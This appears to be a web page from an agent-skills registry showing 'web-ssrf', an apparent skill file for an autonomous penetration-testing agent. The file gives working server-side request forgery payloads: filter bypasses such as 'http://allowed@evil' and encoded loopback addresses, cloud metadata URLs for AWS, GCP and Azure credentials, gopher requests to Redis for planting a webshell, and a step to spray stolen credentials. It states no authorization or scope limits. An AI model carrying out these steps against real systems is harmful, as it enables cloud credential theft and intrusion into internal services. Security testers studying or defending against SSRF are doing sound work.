web-ssrf
Skill794 starsChanged 5 months agoMITView on GitHub
Server-Side Request Forgery detection→internal-access→proof for web apps. Use when the app fetches a URL you influence (webhooks, url/image/pdf fetchers, link preview, import-from-URL, SSO/OIDC redirect, XML/SVG). Triggers - url=/uri=/dest=/callback= param, "fetch failed", webhook, image proxy, /_next/image, remotePatterns, redirect.
1 other project uses a version of this.
Adopted by
Most recently taken up by
- NoorQureshi/SploitAgenttheir own version, first seen Sep 9, 2026
Other versions1 project uses a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 1
- NoorQureshi/SploitAgent★ 20same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository23 other files it gives its agents.
- AGENTS.mdAGENTS.md
- CLAUDE.mdCLAUDE.md
- post-exploit-phaseSkill
- reporting-phaseSkill
- playbook-adSkill
- playbook-cloudSkill
- playbook-webappSkill
- svc-cicdSkill
- svc-databaseSkill
- svc-docker-k8sSkill
- svc-ftpSkill
- svc-mobile-androidSkill
- svc-pivotingSkill
- svc-smbSkill
- svc-sshSkill
- svc-web-serverSkill
- web-auth-bypass-idorSkill
- web-deserializationSkill
- web-lfi-traversalSkill
- web-sqliSkill
- web-sstiSkill
- web-upload-rceSkill
- web-xxeSkill
The file
Files
Server-Side Request Forgery (SSRF)
When this fires
The server makes an outbound request to a URL/host you can influence: webhook config, image/PDF/link-preview fetchers, import-from-URL, SSO/OIDC callback, image proxies (e.g. Next.js /_next/image), XML/SVG parsers.
Detect
Point it at an OOB listener; a callback from the SERVER's IP confirms SSRF:
# use interactsh / a collaborator / your own listener
url=http://<OOB-id>.oast.site # then watch for the server-sourced hitCompare internal vs external: http://127.0.0.1:<port> / http://localhost responses vs a dead port (differential = internal reachability).
Decide — filter bypass
- Blocklist of
127.0.0.1/localhost→http://127.1,http://0,http://[::1],http://2130706433(decimal),http://0x7f000001,http://127.0.0.1.nip.io. - Allowlist/parser confusion →
http://allowed@evil,http://evil#allowed,http://allowed.evil.com, CR/LF +@, or a redirect you control (302 → internal). - Scheme filter →
gopher://(raw TCP → Redis/SMTP/internal HTTP),file://,dict://.
Exploit → PROVE IMPACT
# cloud metadata (the classic high-impact proof):
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS IMDSv1
# IMDSv2 needs a PUT token first (SSRF must allow method/headers) — else pivot to a v1 target
http://metadata.google.internal/computeMetadata/v1/ (Header Metadata-Flavor: Google) # GCP
http://169.254.169.254/metadata/instance?api-version=2021-02-01 (Header Metadata:true) # Azure
# internal services: gopher:// to Redis (SLAVEOF/CONFIG SET dir → webshell), unauth admin panels, port-scan via response/timingProof required: exfiltrated cloud creds/metadata, an internal-only page body, or an OOB hit provably from the server. Read creds → add_credential + cred_spray.
Tooling
nuclei -tags ssrf; interactsh/collaborator for OOB; gopherus to craft gopher payloads.
False positives / pitfalls
- Client-side fetch (the BROWSER requests it) = not SSRF.
- WAF returns 200 for everything → rely on the OOB callback / internal-vs-dead-port differential, not the status.
- Egress-filtered target → metadata/OOB may fail though internal pivots still work; try both.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

